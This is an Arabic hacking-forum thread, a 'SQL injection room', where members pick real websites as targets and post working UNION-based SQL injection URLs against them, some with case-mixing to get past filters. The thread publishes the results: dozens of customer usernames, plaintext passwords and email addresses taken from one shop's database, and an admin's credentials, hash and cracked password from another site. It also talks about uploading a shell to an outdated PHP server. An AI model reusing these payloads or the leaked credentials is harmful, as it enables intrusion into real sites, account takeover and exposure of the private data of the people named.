غرفة حقن قواعد البيانات {غرفة Sql }

طيب اسمحولي ان اضع لكم الهدف الجديد http://www.dosbrothers.com ما بعتقد ان هذا الهدف صعب بس حيكون مثل راحة بعد الهدف السابق هههههه معلش شباب بس هذا الهدف...

الحالة
مغلق و غير مفتوح للمزيد من الردود.
D

d4rK-h4ck3r

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
عبد الله ر قال:
طيب اسمحولي ان اضع لكم الهدف الجديد
http://www.dosbrothers.com

ما بعتقد ان هذا الهدف صعب
بس حيكون مثل راحة بعد الهدف السابق هههههه
معلش شباب بس هذا الهدف حيكون تسلية لكم هههه

والله يا شباب الهدف السابق لم اوفق به كثيرا
ياريت لو حدا منكم يعمل شرح ع السريع او هيك شي عن هذا النوع من الاهداف قصدي (level 3) ههه
وفقكم الله
أنقر للتوسيع...

http://www.dosbrothers.com/opis.php...x3a,pass),4,5,6,7,8,9,10,11+from+adder_user--
 
D

darkman.dz

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
عبد الله ر قال:
اخي Syst3m-32 خود راحنك.......
والله ياشباب انا ما كان قصدي اني خلي حدا يزعل بس والله ما حبيت ان
تكملو الموضوع بدوني لاني بهالحالة ما كنت اقدر اكمل معاكم
بس ان شاء الله بشفلي كم درس وخاصة درس الاخ Syst3m-32 وبرجع بقوة باذن واحد احد

بالنسبة للاخ ooooo_darkman_ooooo حقنة سليمة 100%
الله يعطيك العافية
انا بحثا عن لوحة تحكم ولقيت هذه http://www.dosbrothers.com/admin.php
بس ما يطلع فيها غير ->
ما بعرف ليش هههه
مو مشكلة شباب
اما للأخ العزيز Master vbspiders
مو مشكلة ابدا , اصلا نحنا صرنا بالصفحة الـ 16 وبظن صار لازم نرفع المستوى عن المستوى الاول شوي مهيك اخي
لان الواحد لما بدو يخترق موقع حاطه بالو ما بيعرف قديش ح تكون صعوبته ☺
انا بظن ان هذه الغرقة هي افضل واحسن طريقة لكي نتدرب ونتعلم فن الحقن وبمستوياته (السهل ., المتوسط.., الصعب...)
الله يجزيكم الخير ويعطيكم العافية
أنقر للتوسيع...

ههههههههههههههههههههههه
بالنسبة للوحة نفس الشيئ حدث معي ...........نفس المسار طلعتو و ظهر نفس ناتج المسار
هههههههههههههههههههههههههههههه
 
D

darkman.dz

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
هذا هو الهدف الجديد
وحقيقة أنا ما قدرت أكمل الحقنة :cry[1]:
ولو حد من اللإخوة قدر يكملها يا ريت يحطلنا فيديو حتى تعم الفائدة
وهذا هو الرابط

كود: 
http://www.petmour.com/productos.php?CAT=-120+union+sElEct+version%28%29,2+from+information_schema.columns--
 
M

Master vbspiders

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
ooooo_darkman_ooooo قال:
هذا هو الهدف الجديد
وحقيقة أنا ما قدرت أكمل الحقنة :cry[1]:
ولو حد من اللإخوة قدر يكملها يا ريت يحطلنا فيديو حتى تعم الفائدة
وهذا هو الرابط

كود: 
http://www.petmour.com/productos.php?CAT=-120+union+sElEct+version%28%29,2+from+information_schema.columns--
أنقر للتوسيع...

كل ما بحاول احقنو بيطلع معي : Not Acceptable
ننتظر البقية ممكن يقدرو يحقنوه
تحياتي
 
K

kanvi

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
Master vbspiders قال:
كل ما بحاول احقنو بيطلع معي : Not Acceptable
ننتظر البقية ممكن يقدرو يحقنوه
تحياتي
أنقر للتوسيع...

تفضل اخي تم حقن الموقع:

هذه الحقنة 1:

PHP: 
http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+CoNCaT(TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa),2+FrOm+information_ScHeMa.CoLuMns+where+CoLuMn_NaMe+LIKE+CHAR(37, 112, 97, 115, 37)--
استخرجنا منها :
clientes:cli_password:petmour_petmourdbs

الحقنة الثانية:

PHP: 
http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT%28TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa%29,2+FrOm+information_ScHeMa.CoLuMns+where+TaBlE_NaMe=0x636c69656e746573--
استخرجنا منها:
PHP: 
clientes:cli_id:petmour_petmourdbs,
 clientes:cli_login:petmour_petmourdbs,
 clientes:cli_password:petmour_petmourdbs,
 clientes:cli_nombres:petmour_petmourdbs,
 clientes:cli_apellidos:petmour_petmourdbs,
 clientes:cli_email:petmour_petmourdbs,
 clientes:cli_direccion1:petmour_petmourdbs,
 clientes:cli_direccion2:petmour_petmourdbs,
 clientes:cli_telefono

الحقنة النهائية:

PHP: 
http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT(cli_login,0x3a,cli_password,0x3a,cli_email),2+FrOm+clientes--
وهذه البسوردات واميلات الموجدة:

PHP: 
monbas:moni3651:moniqbastidas@hotmail.com,
 joguiss:homero:johanna701@hotmail.com,
 cayarce:CIRILO1301:pecoco@gmail.com,
 luish:fercho:gerencia@softcellcorp.com,
 pelusa:wallis:marlen_7vr@hotmail.com,
 rgergerger:hrdp7822:ffdf@op.net,
 vhanessa:1130610222:vhanessa_velasquez@hotmail.com,
 carito2908:heraldo2102:k-roline2908@hotmail.com,
 SarayViana:lusa2719:sarayviana@hotmail.com,
 jairo:12345:dr_cazapata@hotmail.com,
 EDWIN J RODRIGUE:DAZZLE:shark_ejr5@hotmail.com,
 Ivette:1802:ivettealtuzarra@hotmail.com,
 cazapata:12345:dr_cazapata@hotmail.com,
 pelusa04:wallis(1990):marlen_7vr@hotmail.com,
 maddy1107:871228:lalocamade@hotmail.com,
 lore:310310:petunia16_18@hotmail.com,
 anabolenar:a23317338:anabolenarestrepo@hotmail.com,
 martha cadena:marcecaca:marthaccc@yahoo.com,
 ramona:181006pai:posadagloria123@yahoo.com,
 natik:3260125:natalia_rincon@msn.com,
 Paola:susy1981:parg1525@hotmail.com,
 LEONOR GONZALEZ:17081967:gerencia-segl@hotmail.com,
 natalie:hanna:natacobo@hotmail.com,
 constanza rios:*conn1e:lucascon82@gmail.com,
 S3T:tazmania:martinpapaleo@hotmai
 
التعديل الأخير:
D

darkman.dz

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
تحية عطرة للأخ kanvi
لقد وجد الحقنة الصحيحة
و إستعمل الفلترة الصحيحة
 
ع

عبد الله ر

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
هذا هو الهدف الجديد
وحقيقة أنا ما قدرت أكمل الحقنة
cry%5B1%5D.gif

ولو حد من اللإخوة قدر يكملها يا ريت يحطلنا فيديو حتى تعم الفائدة
وهذا هو الرابط

​
كود:
http://www.petmour.com/productos.ph...version(),2+from+information_schema.columns--



​
أنقر للتوسيع...
مرحبا اخي ooooo_darkman_ooooo

انا جربت احقن الموقع ونجحت بذلك
بس والله سبقني الاخ kanvi بوضع الحل
مو مشكلة ان شاء الله المرة الجاية هههه
 
D

darkman.dz

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
عبد الله ر
=============
هههههههههههههههه
أنا فقط نسيت نفلتر ال table_name
و ال column_name
و ال table_schema
ههههههههههههههههههههههههههههههه
 
M

Master vbspiders

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
kanvi قال:
تفضل اخي تم حقن الموقع:

هذه الحقنة 1:

PHP: 
http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+CoNCaT(TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa),2+FrOm+information_ScHeMa.CoLuMns+where+CoLuMn_NaMe+LIKE+CHAR(37, 112, 97, 115, 37)--
استخرجنا منها :
clientes:cli_password:petmour_petmourdbs

الحقنة الثانية:

PHP: 
http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT%28TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa%29,2+FrOm+information_ScHeMa.CoLuMns+where+TaBlE_NaMe=0x636c69656e746573--
استخرجنا منها:
PHP: 
clientes:cli_id:petmour_petmourdbs,
 clientes:cli_login:petmour_petmourdbs,
 clientes:cli_password:petmour_petmourdbs,
 clientes:cli_nombres:petmour_petmourdbs,
 clientes:cli_apellidos:petmour_petmourdbs,
 clientes:cli_email:petmour_petmourdbs,
 clientes:cli_direccion1:petmour_petmourdbs,
 clientes:cli_direccion2:petmour_petmourdbs,
 clientes:cli_telefono

الحقنة النهائية:

PHP: 
http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT(cli_login,0x3a,cli_password,0x3a,cli_email),2+FrOm+clientes--
وهذه البسوردات واميلات الموجدة:

PHP: 
monbas:moni3651:moniqbastidas@hotmail.com,
 joguiss:homero:johanna701@hotmail.com,
 cayarce:CIRILO1301:pecoco@gmail.com,
 luish:fercho:gerencia@softcellcorp.com,
 pelusa:wallis:marlen_7vr@hotmail.com,
 rgergerger:hrdp7822:ffdf@op.net,
 vhanessa:1130610222:vhanessa_velasquez@hotmail.com,
 carito2908:heraldo2102:k-roline2908@hotmail.com,
 SarayViana:lusa2719:sarayviana@hotmail.com,
 jairo:12345:dr_cazapata@hotmail.com,
 EDWIN J RODRIGUE:DAZZLE:shark_ejr5@hotmail.com,
 Ivette:1802:ivettealtuzarra@hotmail.com,
 cazapata:12345:dr_cazapata@hotmail.com,
 pelusa04:wallis(1990):marlen_7vr@hotmail.com,
 maddy1107:871228:lalocamade@hotmail.com,
 lore:310310:petunia16_18@hotmail.com,
 anabolenar:a23317338:anabolenarestrepo@hotmail.com,
 martha cadena:marcecaca:marthaccc@yahoo.com,
 ramona:181006pai:posadagloria123@yahoo.com,
 natik:3260125:natalia_rincon@msn.com,
 Paola:susy1981:parg1525@hotmail.com,
 LEONOR GONZALEZ:17081967:gerencia-segl@hotmail.com,
 natalie:hanna:natacobo@hotmail.com,
 constanza rios:*conn1e:lucascon82@gmail.com,
 S3T:tazmania:martinpapaleo@hotmai
أنقر للتوسيع...


بطل والله
واصل
نورت الغرفة بمرورك...
تحياتي​
 
D

darkman.dz

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
قبل وضع الهذف الجديد حبيت أنبهكم أنو فيه شيئ مهم بالنسبة لهذا الموقع راح نرفع عليه شل بكل راح لو الأعضاء شغلة مخهم شوية
وهو هذا
Powered-by: PHP/4.4.8
إصدار الphp هو 4
يعني فيه أمل أننا نحيي ثغرة قديمة وفتاكة قد إنقرضت بإذن الله
و اللي لازم تعرفوه على هذا الموقع أنه لايوجد فيه
1- عمود باس .........يعني لا ضير في أننا نستخدم برنامج havij
2- لوحة التحكم م أجدها
وهذا هو الموقع
كود: 
http://www.hcjz.hr
 
T

TIKTAKram

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
آسف أخي ما عندي الوقت لهذا الموقع و الله

لأني بعمل الآن شرح على الموقع فيديو لكم أنتم

المهم...! مع الأول حاولت لكن لما تبين لي أن الموقع لغته غير مفهومة

و عدد الجداول كثيرة ما يعني لازم تجربهم كلهم لأن اللغة غير مفهومة من وين راح تعرف لي فيه الباسوارد لوول يعني لازم تجربهم كلهم

إن شاء الله لما اكمل الفيديو أحاول فيه

بالتوفيق​
 
T

TIKTAKram

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
Mr-YouPli قال:
شفتكم ناعسين

تفضلوا هذا الموقع به تغرة سهلة

http://rebeccaallen.com/v2/work/work.php?ID=1
أنقر للتوسيع...

شكرا أخي الكريم على الهدف

فقط بدي أعلق على - شفتكم ناعسين -

يا غالي مش إحنا لي نعسانين، الأعضاء هم لي ما يشاركون

أم لم يكفي تقريبا 3 صفحات في الموضوع تتعمر فقط من 3 أو 4 أعضاء ؟ لوول

نحن 4 أعضاء و كل يوم 4 صفحات أو 3 و لو كان الأعضاء يشاركونا لكان بالطبع الموضوع كثير قوي

المهم ...! تم حقن الموقع و بصراحة هو سهل يعني ما أخذ مني إلى دقائق

تفضل المعلومات :

آيدي الأدمن : 1

يوزر الأدمن : dan

باسوارد الأدمن : 89cec3cef08f1a864981bf1807ed9f49

تم فك التشفير ( الباسوارد ) : 66875

إيميل الأدمن : daniel@urgestudio.com

الحقنة الكاملة :

كود: 
 http://rebeccaallen.com/v2/work/work.php?ID=-1 UNION SELECT 1,group_concat(ID,0x3a,username,0x3a,password,0x3a,email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+users--

بالنسبة للوحة لم أجدها بالتأكيد الأدمن مغيرها تماما

بالتوفيق​
 
M

Mr-YouPli

New Member
غرفة حقن قواعد البيانات {غرفة Sql }
Syst3m-32

اسف على تلك الكلمة .
ممكن كيف فكيتي الهاش . ??
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.
أعلى